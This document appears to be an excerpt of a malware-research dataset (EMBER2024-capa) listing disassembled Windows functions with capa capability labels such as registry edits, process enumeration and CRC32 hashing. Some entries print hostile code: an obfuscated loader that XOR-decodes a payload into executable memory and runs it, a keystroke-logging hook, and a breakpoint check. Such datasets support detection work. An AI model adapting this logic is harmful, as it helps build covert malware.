joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100157a0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x24]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push 0
push 0
push eax
push 0
push 0
push ecx
push edx
lea ecx, [esp + 0x20]
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call fcn.10005c00
test eax, eax
jne 0x10015819
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x20]
push esi
mov esi, dword [esp + 8]
push edi
push 4
lea ecx, [esp + 0xc]
push ecx
push 4
push 0
push edx
push esi
mov dword [esp + 0x20], eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov edi, eax
test esi, esi
je 0x10015811
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
pop esi
add esp, 0x10
ret
mov eax, dword [esp + 4]
test eax, eax
je 0x10015828
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
add esp, 0x10
ret

Function at 0x10015830
Capabilities:
Set registry value

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x10]
push esi
push 0x2001f
push eax
push ecx
lea ecx, [esp + 0x10]
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call fcn.10003190
mov esi, eax
test esi, esi
je 0x10015880
mov eax, dword [esp + 4]
test eax, eax
je 0x100158bf
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0xc
ret
mov esi, dword [esp + 0x20]
push edi
mov edi, dword [esp + 8]
test esi, esi
jne 0x10015894
mov esi, 0xd
jmp 0x100158b3
push esi
call dword [sym.imp.kernel32.dll_lstrlenW]
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x20]
push edx
push esi
push 1
push 0
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
test edi, edi
je 0x100158be
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
add esp, 0xc
ret

Function at 0x10015950
Capabilities:
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x410], eax
push esi
xor eax, eax
push 0x206
mov esi, ecx
push eax
lea ecx, [esp + 0xe]
push ecx
mov word [esp + 0x10], ax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea edx, [esp + 8]
push edx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
test eax, eax
je 0x10015a27
cmp eax, 0x104
ja 0x10015a27
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x216]
push ecx
mov word [esp + 0x218], ax
call sub.MSVCR100.dll_memset
push esi
lea edx, [esp + 0x14]
push edx
push str._s_s
push 0xffffffffffffffff
lea eax, [esp + 0x228]
push 0x104
push eax
call dword [sym.imp.MSVCR100.dll__snwprintf_s]
add esp, 0x24
test eax, eax
jg 0x100159ef
push str.LoadSystemLibrary:__snprintf_failed.
jmp 0x10015a2c
lea ecx, [esp + 0x20c]
push ecx
call fcn.10030c90
mov esi, eax
test esi, esi
jne 0x10015a0f
push str.LoadSystemLibrary:_LoadLibrary___failed.
call fcn.10004ff0
add esp, 4
mov eax, esi
pop esi
mov ecx, dword [esp + 0x410]
xor ecx, esp
call fcn.1003779c
add esp, 0x414
ret
push str.LoadSystemLibrary:_GetSystemDirectory_failed.
call fcn.10004ff0
mov ecx, dword [esp + 0x418]
add esp, 4
pop esi
xor ecx, esp
xor eax, eax
call fcn.1003779c
add esp, 0x414
ret
Function at 0x1001a9e0
Capabilities:
Get common file path

Disassembly:
sub esp, 8
push ebx
mov ebx, dword [esp + 0x10]
push esi
xor eax, eax
push edi
mov word [ebx], ax
call fcn.10003310
test eax, eax
je 0x1001aa26
call fcn.100035c0
test eax, eax
je 0x1001aa18
call fcn.10003580
test eax, eax
je 0x1001aa18
push 0x800
push ebx
call dword [sym.imp.kernel32.dll_GetSystemWow64DirectoryW]
jmp 0x1001aa32
push 0x800
push ebx
call dword [sym.imp.kernel32.dll_GetSystemDirectoryW]
jmp 0x1001aa32
push 0x800
push ebx
call dword [sym.imp.kernel32.dll_GetWindowsDirectoryW]
push 0xc
mov dword [esp + 0x10], eax
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
je 0x1001aa91
push str.__get_system_dir__
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call fcn.10030c90
push 0xc
mov dword [esi], eax
mov dword [esp + 0x1c], esi
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
je 0x1001aa91
lea edi, [esi + 8]
push ebx
mov dword [esi + 4], 0
mov dword [edi], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1001aa9b
push 0x8007000e
call fcn.10030c90
lea ecx, [esp + 0x10]
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], esi
call fcn.10004760
mov ebx, dword [sym.imp.kernel32.dll_InterlockedDecrement]
push edi
call ebx
test eax, eax
jne 0x1001aae0
mov eax, dword [esi]
test eax, eax
je 0x1001aac7
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x1001aad7
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
push 0xc
call sub.MSVCR100.dll_void____cdecl_operator_new_unsigned_int_
mov esi, eax
add esp, 4
test esi, esi
je 0x1001aa91
lea edi, [esi + 8]
push 0x1003ecc8
mov dword [esi + 4], 0
mov dword [edi], 1
call fcn.10030c90
lea edx, [esp + 0x10]
push edx
lea ecx, [esp + 0x1c]
mov dword [esi], eax
mov dword [esp + 0x14], esi
call fcn.10004760
push edi
call ebx
test eax, eax
jne 0x1001ab4b
mov eax, dword [esi]
test eax, eax
je 0x1001ab32
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x1001ab42
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esi, dword [esp + 0x18]
push ecx
mov eax, esp
mov dword [eax], esi
test esi, esi
je 0x1001ab62
lea eax, [esi + 8]
push eax
call dword [sym.imp.kernel32.dll_InterlockedIncrement]
mov edi, dword [esp + 0x10]
test edi, edi
setne cl
movzx edx, cl
push edx
call fcn.10019f50
add esp, 8
test esi, esi
je 0x1001abab
lea eax, [esi + 8]
push eax
call ebx
test eax, eax
jne 0x1001abab
mov eax, dword [esi]
test eax, eax
je 0x1001ab92
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x1001aba2
push eax
call sub.MSVCR100.dll_void___cdecl_operator_delete___void__
add esp, 4
push esi
call sub.MSVCR100.dll_void___cdecl_operator_delete_void__
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 8
ret
Function at 0x10027fa0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x20c
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x208], eax
push edi
lea eax, [esp + 4]
push eax
push 0x201
xor edi, edi
push edi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x1c], 0x200
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10028012
push esi
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
push eax
push eax
mov eax, dword [esp + 0x18]
push str.ITCONFIG
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 8]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
movzx eax, byte [esp + 0x10]
test esi, esi
pop esi
je 0x10028014
mov eax, edi
mov ecx, dword [esp + 0x20c]
pop edi
xor ecx, esp
call fcn.1003779c
add esp, 0x20c
ret

Function at 0x10028050
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x210
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
xor edi, edi
mov dword [esp + 4], 0x200
call fcn.10027fa0
test al, 0x10
jne 0x10028081
call fcn.10026eb0
test eax, eax
jne 0x1002809c
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.1003779c
add esp, 0x210
ret
lea eax, [esp + 0xc]
push eax
push 0x201
push edi
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10028124
mov eax, dword [esp + 0xc]
push esi
lea ecx, [esp + 8]
push ecx
lea edx, [esp + 0x18]
push edx
push edi
push edi
push str.EnableAutoUpdateCheck
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ecx, dword [esp + 0x10]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp esi, edi
pop esi
jne 0x10028124
mov dword [esp + 8], edi
call fcn.10027cf0
test eax, eax
je 0x10028116
mov eax, dword [esp + 4]
push 4
lea edx, [esp + 0xc]
push edx
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.10030c90
mov eax, dword [esp + 0x18]
add esp, 0x10
jmp 0x1002811a
mov eax, dword [esp + 0x10]
cmp eax, 0x64
mov eax, 1
je 0x10028126
mov eax, edi
mov ecx, dword [esp + 0x210]
pop edi
xor ecx, esp
call fcn.1003779c
add esp, 0x210
ret

Function at 0x10028140
Capabilities:
Delete registry value

Disassembly:
push ecx
lea eax, [esp]
push eax
push 0x202
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push SysReAllocStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10028179
mov ecx, dword [esp]
push str.EnableAutoUpdateCheck
push ecx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov edx, dword [esp]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ecx
ret
Function at 0x10028180
Capabilities:
Set registry value

Disassembly:
sub esp, 0x214
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x210], eax
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 4]
push ecx
push 0
push 0x2021f
push 0
push 0
push 0
push str.SOFTWAREJavaSoftJava_UpdatePolicy
push SysReAllocStringLen
mov dword [esp + 0x30], 0
mov dword [esp + 0x28], 0x64
mov dword [esp + 0x2c], 0x200
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x1002822a
call fcn.10027cf0
test eax, eax
je 0x100281fb
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x14]
push eax
lea ecx, [esp + 0xc]
push 4
push ecx
call fcn.10030c90
add esp, 0x10
jmp 0x10028203
mov edx, dword [esp + 4]
mov dword [esp + 0x10], edx
mov eax, dword [esp + 8]
mov edx, dword [esp]
push eax
lea ecx, [esp + 0x14]
push ecx
push 3
push 0
push str.EnableAutoUpdateCheck
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [esp]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x210]
xor ecx, esp
call fcn.1003779c
add esp, 0x214
ret
Function at 0x10030c90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x10030c9f
pop dword [ebp - 0x40]
mov eax, 0x10030c9f
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0xbeeec17d
sub dword [ebp - 0x50], 0x709c7c32
mov dword [ebp - 0x4c], 0x7e3dff78
add dword [ebp - 0x4c], 0xb3f54ccd
mov dword [ebp - 0x48], 0xffdc5593
add dword [ebp - 0x48], 0x4c6fee9b
mov dword [ebp - 0x44], 0x92f66f2d
add dword [ebp - 0x44], 0x6d0990d3
lea eax, [ebp - 0x50]
push eax
mov eax, 0x1861c1d0
add eax, 0xf7a1deac
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0x6b9b8b3b
sub dword [ebp - 0x50], 0xf72921e5
mov dword [ebp - 0x4c], 0xc30fb979
sub dword [ebp - 0x4c], 0x81a35804
mov dword [ebp - 0x48], 0x65f8673f
add dword [ebp - 0x48], 0xfd77052d
mov dword [ebp - 0x44], 0x9ea3fb80
sub dword [ebp - 0x44], 0x9ea3fb80
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0xe30dd35e
sub eax, 0xd30a32fe
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x36dc5
push 0
call eax
mov ecx, 0x8685523c
add ecx, 0x797aeccb
xor edx, edx
add edx, eax
mov ebx, 0x46e17e10
add ebx, 0xc92577f0
add ebx, dword [ebp - 0x40]
mov edi, 0xbc309ab
sub edi, 0xb7b8a8ca
sub dword [ebp - 8], eax
mov esi, dword [ebx]
xor dword [ebp - 4], edx
xor esi, edi
xor dword [ebp - 0x28], edi
mov dword [edx], esi
sub dword [ebp - 0x34], 0x54a186ca
add edx, 0x94f26ca6
add edx, 0x6b0d935e
add ebx, 0x3957464e
add ebx, 0xc6a8b9b6
loop 0x10030dbe
add eax, 0xeeef
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x10036740
Capabilities:
Log keystrokes via application hook

Disassembly:
mov eax, 0x202c
call fcn.100378e0
mov eax, dword [0x1004f860]
xor eax, esp
mov dword [esp + 0x2028], eax
push ebx
push ebp
xor eax, eax
push esi
mov esi, dword [esp + 0x203c]
push edi
mov edi, dword [sym.imp.kernel32.dll_GetModuleHandleW]
push 0x800
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x3c]
push eax
push 0x82
xor ebp, ebp
push 0x1003bb30
mov dword [esp + 0x20], ebp
call edi
mov ebx, dword [sym.imp.USER32.dll_LoadStringW]
push eax
call ebx
push 0x800
lea ecx, [esp + 0x103c]
push ecx
push 0x8b
push 0x1003bb30
call edi
push eax
call ebx
lea edx, [esp + 0x38]
lea eax, [esp + 0x1038]
push 0x1003bb30
mov dword [esp + 0x14], 0x28
mov dword [esp + 0x24], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], 0x12083
mov dword [esp + 0x2c], 0x3ec
call edi
mov dword [esp + 0x18], eax
call dword [sym.imp.kernel32.dll_GetCurrentThreadId]
push eax
push ebp
push 0x100366e0
push 4
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
lea ecx, [esp + 0x10]
push ecx
mov dword [0x1004fde4], eax
mov dword [0x1004fde8], ebp
call fcn.10030c90
mov edx, dword [0x1004fde4]
push edx
mov edi, eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [esi], 2
mov dword [esi + 4], ebp
mov dword [esi + 0x18], ebp
cmp edi, 6
jne 0x10036858
mov dword [esi], 1
jmp 0x10036865
xor eax, eax
cmp edi, 2
sete al
add eax, 2
mov dword [esi], eax
mov eax, esi
cmp dword [0x1004fde8], ebp
je 0x10036876
mov dword [esi + 4], 1
mov ecx, dword [esp + 0x2038]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1003779c
add esp, 0x202c
ret 4
Function at 0x40ec90
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x5d3470], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x5d346c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x5d3470], edx
cmp eax, 0x26f
jl 0x40ec98
mov dword [0x561fe0], 0x270
ret

Function at 0x40ecd0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x5d3474]
mov ebx, dword [eax*4 + 0x5d3470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5d3aa4]
mov dword [eax*4 + 0x5d3470], edx
cmp eax, 0xe2
jl 0x40ecd8
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x5d3474]
mov ebx, dword [eax*4 + 0x5d3470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5d30e4]
mov dword [eax*4 + 0x5d3470], edx
cmp eax, 0x26e
jl 0x40ed28
mov edx, dword [0x5d3470]
mov ecx, dword [0x5d3e2c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x5d3aa0]
mov dword [0x5d3e2c], eax
mov dword [0x561fe0], 0
pop ebx
ret

Function at 0x40edb0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x561fe0]
add dword [0x561fe0], 1
mov eax, dword [0x5d2020]
cmp eax, dword [0x561730]
jne 0x40edd3
cmp ebx, 0x271
jb 0x40edf4
mov eax, dword [0x5d2020]
call fcn.0040ec90
not dword [0x5d2020]
mov eax, dword [0x5d2020]
mov dword [0x561730], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40ee10
call fcn.0040ecd0
xor ebx, ebx
mov dword [0x561fe0], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x5d3470]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret
Function at 0x410960
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x561480]
cmp ax, 0xcb
je 0x410a6c
cmp ax, 0xcc
je 0x410a6c
lea esi, [esi]
mov edx, dword [0x5d4070]
test edx, edx
je 0x410995
mov eax, dword [0x5d3f20]
call edx
mov ebx, eax
jmp 0x41099a
mov ebx, 0x5d3f24
cmp word [0x5d3f10], 0
jle 0x4109c0
mov eax, 0x5d3ef0
call fcn.00410c20
mov eax, ebx
call fcn.00410520
mov eax, ebx
call fcn.00410590
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x4109e2
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x4109dd
mov edx, edi
mov eax, ebx
call fcn.0040f990
jmp 0x4109e0
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x4109c8
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x5d3f10], 0
jle 0x410a6c
mov edx, 0x5d3e30
mov eax, ebx
call fcn.0040fad0
mov edi, eax
test edi, edi
je 0x410a3c
mov eax, dword [0x5d3ec4]
mov dword [edi + 0xc], eax
cmp dword [0x5d3ec4], 0
je 0x410a30
mov eax, dword [0x5d3ec4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x5d3ec4], eax
nop
sub word [0x5d3f10], 1
cmp word [0x5d3f10], 0
sete bl
mov eax, 0x5d3ef0
call fcn.00410c40
test bl, bl
je 0x410a6c
mov eax, 0x5d3ef0
call fcn.00410c10
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x4132f0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
push ebx
push esi
push edi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.004132d0
push ebp
push 0x4146f0
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x20], 0xff
je 0x41341a
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0
mov word [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b560
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
test edx, edx
jne 0x41337f
mov edx, 0x5d32f0
push edx
push esi
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
test ebx, ebx
jne 0x4133d1
call sub.kernel32.dll_GetLastError
call fcn.00404050
lea eax, [ebp - 0x10]
call fcn.0040a140
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
lea edx, [ebp - 0x14]
call fcn.0040a5e0
mov edx, dword [ebp - 0x14]
mov ecx, 0x57d324
lea eax, [ebp - 0x10]
call fcn.0040a470
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.0040ae30
jmp 0x413468
mov eax, esi
mov edx, 0
sub eax, 1
sbb edx, 0
mov ecx, ebx
xor edi, edi
cmp edx, edi
jne 0x4133ea
cmp eax, ecx
je 0x4133f4
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0040b560
cmp byte [0x561700], 0
jne 0x413468
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bb00
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040aec0
lea esi, [esi]
jmp 0x413468
push 0
push 0
call sub.kernel32.dll_GetCurrentDirectoryW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040b560
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
test eax, eax
jne 0x41343e
mov eax, 0x5d32f0
push eax
push esi
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x561700], 0
jne 0x413468
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040bb00
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040aec0
mov esi, esi
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.004132d0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413880
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x5d3260], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.00413a60
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x5d3260]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.004035c0
call sub.kernel32.dll_GetCommandLineA
mov dword [0x561500], eax
mov ebx, eax
jmp 0x413a23
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x413908
cmp byte [ebx], 0
je 0x413a2c
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x413983
mov al, byte [ebx]
cmp al, 1
jb 0x413978
sub al, 0x20
jbe 0x413948
sub al, 2
je 0x41395c
jmp 0x413978
mov al, byte [ebp - 0x114]
test al, al
je 0x413988
add dword [ebp - 0x110], 1
jmp 0x413980
cmp byte [ebx + 1], 0x22
je 0x413973
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x413980
add ebx, 1
jmp 0x413980
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x413938
test dword [ebp - 0x10c], 0xffffffff
je 0x413a1c
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.00413a60
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x5d3260]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x413a13
mov al, byte [ebx]
cmp al, 1
jb 0x413a08
sub al, 0x20
jbe 0x4139d8
sub al, 2
je 0x4139ec
jmp 0x413a08
mov al, byte [ebp - 0x114]
test al, al
je 0x413a18
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x413a10
cmp byte [ebx + 1], 0x22
je 0x413a03
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x413a10
add ebx, 1
jmp 0x413a10
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x4139c8
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x41390b
mov ebx, dword [ebp - 0x10c]
mov dword [0x5d3250], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x5d3260
call fcn.004107a0
mov eax, dword [0x5d3260]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4170f0
Capabilities:
Hash data with crc32

Disassembly:
push ebx
mov dx, 0xffff
lea esi, [esi]
add dx, 1
movsx eax, dx
mov ecx, eax
xor bx, bx
lea esi, [esi]
add bx, 1
mov eax, ecx
and eax, 1
je 0x417121
mov eax, ecx
shr eax, 1
xor eax, 0xedb88320
mov ecx, eax
jmp 0x417123
shr ecx, 1
cmp bx, 8
jl 0x417108
movzx eax, dx
mov dword [eax*4 + 0x5f5d00], ecx
cmp dx, 0xff
jl 0x4170f8
pop ebx
ret

Function at 0x417140
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov edi, edx
mov esi, ecx
cmp dword [0x5f5d04], 0
jne 0x417158
call fcn.004170f0
nop
mov ecx, edi
not ebx
mov eax, ebx
cmp esi, 1
jl 0x41718c
xor ebx, ebx
lea esi, [esi]
add ebx, 1
mov dl, al
xor dl, byte [ecx]
and edx, 0xff
mov edi, eax
shr edi, 8
xor edi, dword [edx*4 + 0x5f5d00]
mov eax, edi
add ecx, 1
cmp esi, ebx
jg 0x417168
mov esi, esi
not eax
pop edi
pop esi
pop ebx
ret
Function at 0x428ab0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x14c]
push ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov eax, edx
call fcn.00408930
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x144], 0
mov dword [ebp - 0x140], 0
xor eax, eax
push fcn.00428a70
push ebp
push 0x4146f0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 2
call fcn.0055d3b0
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x13c], 0x128
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x14]
call fcn.0055d3c0
mov dword [ebp - 0x10], eax
mov byte [ebp - 0xc], 0
jmp 0x428c06
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x140]
call fcn.004484f0
mov ebx, dword [ebp - 0x140]
push 1
lea eax, [ebp - 0x14c]
push eax
lea eax, [ebp - 0x118]
xor cx, cx
mov edx, 0x103
call fcn.00409350
mov eax, dword [ebp - 0x14c]
lea edx, [ebp - 0x148]
call fcn.00447d60
mov eax, dword [ebp - 0x148]
lea edx, [ebp - 0x144]
call fcn.004484f0
mov eax, dword [ebp - 0x144]
mov edx, ebx
call fcn.00409520
test eax, eax
je 0x428bed
mov eax, dword [ebp - 4]
lea edx, [ebp - 0x148]
call fcn.004484f0
mov ebx, dword [ebp - 0x148]
push 1
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x118]
xor cx, cx
mov edx, 0x103
call fcn.00409350
mov eax, dword [ebp - 0x140]
lea edx, [ebp - 0x144]
call fcn.004484f0
mov eax, dword [ebp - 0x144]
mov edx, ebx
call fcn.00409520
test eax, eax
jne 0x428bf4
mov byte [ebp - 0xc], 1
lea esi, [esi]
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 0x14]
call fcn.0055d3d0
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x428b38
push dword [ebp - 0x14]
call sub.kernel32.dll_CloseHandle
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00428a70
mov al, byte [ebp - 0xc]
pop ebx
mov esp, ebp
pop ebp
ret